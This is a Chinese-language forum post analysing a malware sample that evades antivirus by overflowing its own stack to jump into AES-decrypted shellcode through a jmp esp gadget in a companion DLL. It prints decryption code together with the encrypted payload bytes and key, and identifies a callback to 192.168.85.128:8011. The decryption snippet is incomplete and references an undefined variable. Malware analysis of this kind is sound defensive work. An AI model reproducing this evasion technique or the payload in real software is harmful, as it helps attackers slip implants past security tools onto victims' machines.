一个可以免杀国内主流杀软的恶意样本分析

本文细探讨了一种能够免杀国内所有杀软的恶意程序及其取证过程,全程取证过程在vmware虚拟机里进行并隔离断网

目录下存在愤怒的小鸟.exe和fun.dll文件,最新版火绒,windows defender,腾讯电脑管家,360静态扫描都未发现恶意程序
image.png

image.png
动态执行,杀软也未拦截

image.png
上传到virustotal网站分析恶意程序,只有三个引擎检测出来

image.png
die分析恶意程序,未加壳,32位PE程序

image.png
将恶意程序导入ida pro进行静态分析

image.png
程序主函数伪代码很少,没有常见恶意程序使用的函数,首先程序往v15变量里导入了2012个A字符

image.png
然后定义了一个地址,通过查询,这个地址并未在当前程序中

image.png
然后往v10变量里放入了很多0x90,0x90是汇编指令中的nop指令,NOP 指令(No Operation)是一种在计算机汇编语言中常见的指令,它的作用是不执行任何操作,即空操作

image.png

image.png
然后往pbData变量里传入了一串值,根据后面的分析,这一串值是解密shellcode的key

image.png

image.png
v6,v8里的值就是payload

image.png

image.png
这里程序调用了memcpy函数,拼接字符,并且是将payload拼接到了其中

image.png
调用了__i3b_D2函数,将密钥和payload都导入了其中,是解密payload的函数

image.png
aes的解密方式,说明payload是经过aes加密过的

image.png
然后将一大串nop指令和payload用memcpy函数copy到指定的变量里,最后调用了Function函数

image.png
只有一个strcpy函数

image.png
程序主要的代码就这么多,还不知如何绕过杀软执行上线的

使用pe-bear分析程序

image.png
导入了四个dll库,其中ADVAPI32.DLL,KENNEL32.DLL,msvcrt.dll都是程序编译时,系统自动绑定的dll,只有fun.dll是第三方dll,用ida分析fun.dll

找到exe程序中定义的地址,是一个jmp esp指令

image.png
这个dll的代码只有jmp esp这一个功能

image.png
从程序里导出shellcode后解密

#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")

void aes_de(char* code, DWORD codeLen, char* key, DWORD keyLen) {
    HCRYPTPROV hProv;
    HCRYPTHASH hHash;
    HCRYPTKEY hKey;

    if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {

        return;
    }
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {

        return;
    }
    if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {

        return;
    }
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {

        return;
    }

    if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)code, &codeLen)) {

        return;
    }

    CryptReleaseContext(hProv, 0);
    CryptDestroyHash(hHash);
    CryptDestroyKey(hKey);

}
int main(int argc, char *argv[]) {
  unsigned char payload[] = { 0xc1, 0x0, 0xfa, 0xed, 0x2, 0xda, 0xf5, 0xa6, 0xfb, 0xbc, 0xea, 0xe1, 0x48, 0xe0, 0xd2, 0x84, 0xaf, 0xe2, 0x42, 0xcd, 0x37, 0x43, 0xa5, 0xa9, 0x8c, 0x1e, 0xb7, 0xa5, 0x33, 0xc1, 0xde, 0x2c, 0x24, 0x84, 0xdf, 0x1c, 0xea, 0xcc, 0x34, 0xc4, 0x8, 0x56, 0xab, 0xa, 0xbf, 0xfc, 0x71, 0x25, 0x3, 0x41, 0x62, 0x28, 0x1a, 0xb5, 0x10, 0x39, 0xa2, 0xc4, 0xf5, 0x4e, 0x96, 0xb7, 0x66, 0x21, 0xb, 0x47, 0x74, 0x35, 0x2f, 0xd8, 0x25, 0xc6, 0xd0, 0x21, 0x77, 0x1b, 0xdc, 0xc6, 0xe8, 0xe8, 0x62, 0x5a, 0xe6, 0xe9, 0x31, 0xa, 0xff, 0xf2, 0x3f, 0xd1, 0x6, 0x9a, 0x62, 0x28, 0xf6, 0xec, 0xc8, 0x20, 0x4f, 0xe7, 0x6d, 0x82, 0x74, 0x84, 0xe2, 0xfa, 0xf, 0xff, 0x40, 0xcd, 0xea, 0x26, 0xa0, 0xe5, 0xcc, 0x7e, 0x67, 0x30, 0xa4, 0x21, 0xff, 0xcf, 0x79, 0xcb, 0xdc, 0xf0, 0x35, 0xa2, 0x6c, 0xc4, 0x54, 0xec, 0x4f, 0x94, 0xf, 0xdb, 0xb1, 0xb1, 0x60, 0x5e, 0x46, 0x87, 0xbf, 0x31, 0xc9, 0x30, 0xb6, 0xc6, 0xd4, 0x48, 0x0, 0x9a, 0x7f, 0x96, 0xdd, 0xa1, 0x15, 0xb9, 0xee, 0xd1, 0x91, 0x62, 0x5d, 0x98, 0xf6, 0x65, 0x37, 0xee, 0xce, 0x19, 0x16, 0x8f, 0x6d, 0xe2, 0x6f, 0x9f, 0xcb, 0x83, 0xd7, 0x2e, 0xdb, 0xcc, 0xae, 0x3e, 0xe, 0xad, 0x3c, 0xb0, 0xe3, 0x83, 0x9a, 0xac, 0xdd, 0x34, 0x2a, 0xa2, 0xe2, 0xee, 0xa1, 0x38, 0x81, 0xc, 0xb3, 0xfa, 0xfa, 0x71, 0x21, 0x7a, 0x2f, 0xb2, 0xa2, 0x57, 0xd, 0xaf, 0x37, 0xa4, 0x6d, 0x1f, 0x7f, 0x77, 0xb0, 0x7b, 0xdf, 0x68, 0xa, 0xe0, 0x35, 0xa7, 0xf0, 0x93, 0x0, 0xcf, 0x8e, 0x66, 0xc4, 0x32, 0xad, 0x9b, 0x4e, 0xdd, 0x4d, 0xb1, 0x11, 0xed, 0x56, 0x6b, 0x39, 0xe8, 0x57, 0xa7, 0x72, 0xf6, 0xb3, 0x95, 0xe0, 0x6a, 0xf2, 0x9f, 0x20, 0xfc, 0x41, 0xc5, 0xe7, 0x80, 0x7f, 0x1, 0x90, 0xaa, 0x13, 0xb2, 0xb4, 0xc, 0x74, 0xe5, 0x1f, 0x45, 0xdd, 0xc1, 0x34, 0x17, 0xb5, 0x1e, 0x84, 0x18, 0x4a, 0x9a, 0xbc, 0xc9, 0x8d, 0x54, 0xa1, 0x0, 0x57, 0xc, 0xc8, 0xec, 0x3a, 0xe8, 0x23, 0x65, 0x71, 0x7e, 0xeb, 0xc3, 0x46, 0x73, 0x6f, 0x50, 0xc7, 0x7d, 0x23, 0xe9, 0x25, 0x7a, 0xb2, 0x8f, 0x79, 0x7, 0xfd, 0xa4, 0x86, 0x90, 0xb5, 0xdc, 0xbb, 0x97, 0x2, 0xf7, 0xd4, 0x99, 0xfe, 0x1a, 0xc1, 0x9c, 0xd8, 0x8d, 0x88, 0xf, 0x34, 0xe6, 0xfc, 0xa0, 0xdb, 0x2d, 0x96, 0x14, 0xef, 0x11, 0xeb, 0x53, 0x17, 0x5d, 0x6b, 0x4c, 0xbd, 0xe8, 0xf5, 0x20, 0x31, 0x3e, 0x4e, 0x8c, 0xa1, 0xc8, 0xc7, 0x70, 0xbd, 0xdc, 0xa4, 0xc, 0x79, 0x29, 0x19, 0x1e, 0xb2, 0x7d, 0x6b, 0xbc, 0xb2, 0xed, 0xa2, 0xe9, 0x1f, 0x31, 0x3c, 0xd2, 0xb0, 0x43, 0xec, 0xe4, 0x46, 0x42, 0x3c, 0xe3, 0x25, 0xa9, 0xda, 0x34, 0xa2, 0xbb, 0xf7, 0x9d, 0x32, 0x57, 0xdf, 0xd7, 0xcf, 0xfc, 0x9, 0x10, 0x9, 0x6, 0x4b, 0xf6, 0x2, 0xf8, 0xed, 0x5c, 0x45, 0x15, 0x8b, 0x61, 0x61, 0x65, 0x9d, 0x58, 0x27, 0xe8, 0xe3, 0x22, 0xbb, 0x2e, 0x1e, 0x94, 0x7f, 0xa4, 0xe2, 0x36, 0x41, 0x2d, 0x24, 0xb, 0x40, 0x29, 0xf6, 0x24, 0x1e, 0xf8, 0xe8, 0xb0, 0xf5, 0x45, 0xb7, 0xd9, 0x69, 0x52, 0xae, 0xae, 0xa1, 0xb1, 0xec, 0x97, 0x78, 0x5b, 0x9b, 0x3c, 0x7e, 0xe6, 0xbf, 0xb, 0x86, 0x7, 0xee, 0xfb, 0xe9, 0xfb, 0xc, 0xdf, 0xa7, 0xda, 0xdb, 0x99, 0xa7, 0xc, 0x72, 0x4f, 0x11, 0xd7, 0x11, 0xf0, 0x18, 0x86, 0x4e, 0x3a, 0x2b, 0x1d, 0x3d, 0x39, 0xab, 0xe9, 0xc, 0xde, 0xc7, 0xf0, 0x50, 0x8, 0xbd, 0x83, 0x32, 0xda, 0x85, 0x45, 0x15, 0x60, 0x63, 0xeb, 0xb3, 0xa6, 0x2f, 0x22, 0x7c, 0xb3, 0x87, 0xfc, 0xf0, 0xad, 0xd, 0x4e, 0x46, 0xa9, 0x68, 0xd3, 0xc9, 0xd4, 0x47, 0xf7, 0xbc, 0xee, 0x29, 0xc6, 0x3f, 0x68, 0x1d, 0xab, 0x32, 0x0, 0x9, 0x6f, 0xc0, 0xf5, 0x86, 0xe1, 0xc1, 0x7d, 0x51, 0x4b, 0xe5, 0xce, 0x76, 0x4b, 0x84, 0x6b, 0x71, 0xc6, 0x0, 0x9c, 0xe0, 0x7c, 0x19, 0xc5, 0x7a, 0xa8, 0xfb, 0x5f, 0x56, 0x31, 0x67, 0xf1, 0x72, 0x48, 0xf5, 0x19, 0xd4, 0xc7, 0xb7, 0xec, 0xe2, 0x60, 0xf, 0x65, 0x18, 0x7e, 0x7b, 0xd1, 0x24, 0xd8, 0x19, 0xb4, 0x6b, 0x5f, 0xab, 0x67, 0x4, 0xeb, 0x46, 0x3e, 0x55, 0xcf, 0xa1, 0xf, 0xa8, 0xd0, 0xef, 0xd8, 0xa1, 0x9, 0xd1, 0xca, 0x59, 0x92, 0x46, 0x2d, 0xc7, 0xd7, 0x90, 0xe, 0x36, 0x98, 0x20, 0x87, 0x47, 0xfe, 0x3d, 0x59, 0x24, 0x41, 0x4b, 0x6e, 0x73, 0x78, 0x86, 0xb8, 0xed, 0x9a, 0x46, 0xb9, 0x4d, 0xf1, 0x7a, 0xc4, 0xc2, 0x32, 0x71, 0xfa, 0x1c, 0xd7, 0xd9, 0xa3, 0x38, 0x48, 0xe6, 0xab, 0x5e, 0x1f, 0x93, 0x4b, 0xa6, 0x57, 0xd3, 0x8e, 0x20, 0x17, 0x79, 0x34, 0xc5, 0x35, 0xcc, 0xa5, 0xa9, 0x2c, 0x1a, 0x7f, 0xc3, 0x89, 0xfb, 0x66, 0xd7, 0x8e, 0x1b, 0xaf, 0xea, 0x0, 0x28, 0xa9, 0xdc, 0x1b, 0x18, 0xca, 0xb8, 0x78, 0x45, 0x31, 0x4c, 0x53, 0xfd, 0x78, 0x79, 0x89, 0xd8, 0x99, 0x3b, 0x1b, 0xf6, 0x65, 0xf6, 0x44, 0xf7, 0x39, 0x6c, 0x48, 0xb0, 0x5e, 0x48, 0xb0, 0xbe, 0x32, 0xc1, 0xb1, 0x17, 0x2a, 0x51, 0x6e, 0x9f, 0x8d, 0xe7, 0x3a };
  unsigned char key[] = { 0xed, 0x39, 0x56, 0x67, 0xcd, 0x62, 0xf7, 0x91, 0x62, 0xb, 0x85, 0x53, 0x9b, 0x17, 0xae, 0xc9 };
  DWORD code_length = sizeof(payload);
  aes_de((char*)code, code_length, key, sizeof(key));
  printf(payload);

image.png
使用scdbg分析shellcode,发现shellcode外连了一个ip,192.168.85.128,端口为8011,根据上面的浏览器http流量头,可以知道恶意程序使用的payload是msf或者cs生成的http payload

image.png
动态分析exe,使用System Informer监听后台,发现程序并没有启动其他的子程序

image.png
执行程序,在0x62501443地址处打一个断点

image.png
用xdbg调试程序,运行到程序入口处

image.png
F8一步一步查看程序,在下面程序跳转到了0x401658地址处

image.png
在执行了memset函数时,堆栈里都被A覆盖了

image.png
这里本来是要跳转到0x4017c6地址处的,但是直接跳转到了jmp esp指令地址处,程序被栈溢出后控制了返回地址

image.png

image.png
执行jmp esp后,首先是一长串的NOP指令

image.png
nop指令后面的就是aes解密后的payload指令

image.png
现在知道了程序的执行流,恶意程序设置了一个存在栈溢出的函数,然后用strcpy函数触发栈溢出攻击,将jmp esp指令放到dll库里是为了固定指令地址,在不同环境上稳定运行,这里放上一个程序执行流程图

image.png
通过流量监控,也找到恶意程序外连ip 192.168.85.128 端口8011

image.png
scdbg工具下载地址:

http://sandsprite.com/blogs/index.php?uid=7&pid=152
  • 发表于 2025-01-08 09:30:01
  • 阅读 ( 2398 )
  • 分类:二进制

3 条评论

destroylq
解密的shellcode在栈上,栈区不可执行,文章中没看到咋解决的,能说一下吗
请先 登录 后评论
cxaqhq
相当于没有直接调用函数执行
请先 登录 后评论
cxaqhq
好奇不同操作系统上溢出之后的地址是一样的吗?Linux 有地址随机化啥的,Widnows上呢?
请先 登录 后评论
请先 登录 后评论
cike_y
cike_y

8 篇文章

站长统计